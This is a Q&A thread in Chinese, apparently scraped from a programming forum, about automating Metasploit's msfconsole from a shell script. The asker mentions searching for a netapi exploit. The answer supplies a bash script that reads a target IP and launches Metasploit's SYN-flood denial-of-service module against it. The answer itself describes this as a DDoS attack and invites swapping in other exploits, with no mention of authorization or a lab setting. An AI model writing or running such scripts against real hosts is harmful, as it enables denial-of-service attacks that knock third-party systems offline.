【问题标题】:Writing a script to run commands inside a console编写脚本以在控制台中运行命令
【发布时间】:2017-09-19 16:13:20
【问题描述】:

我正在编写一个脚本来自动化 metasploit 现在我的脚本工作正常,直到我需要在终端上运行的命令但是当我尝试运行我必须在 metasploit 控制台内执行的命令时,脚本会停止,直到我手动退出控制台,然后从下一行继续。

当您运行 metasploit 时,它会在终端内打开一个控制台 (msfconsole),您可以在其中运行您的命令。

如何在我的脚本中添加特定命令以在控制台中运行??

这些是我要运行的命令:

msfconsole (this command starts the metasploit console, this command works fine in the script)
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do)

在此之后需要在控制台中输入所有命令,控制台看起来像这样:msf >

【问题讨论】:

  • 你的脚本是什么,shell脚本还是python还是ruby?
  • 它是一个 shell 脚本
  • 你问如何在shell脚本中运行特定的命令,什么样的命令,你的意思是ls, cat, ps
  • 更新帖子

标签: linux scripting metasploit


【解决方案1】:

我想你正在寻找这样的东西

    #!/bin/bash
    TARGET
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
    read TARGET
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;

这将启动 msfconsole ,使用 /dos/tcp/synflood 辅助并对目标发起 DDOS 攻击,目标是用户的 IP 地址类型。 您可以使用此方案编写其他脚本来自动化 metasploit,只需更改漏洞利用和变量 不要忘记执行 chmod a+x yourscript.sh 以允许执行 也看看这个:https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-05-13
    • 1970-01-01
    • 2019-11-25
    • 1970-01-01
    • 1970-01-01
    • 2011-07-28
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多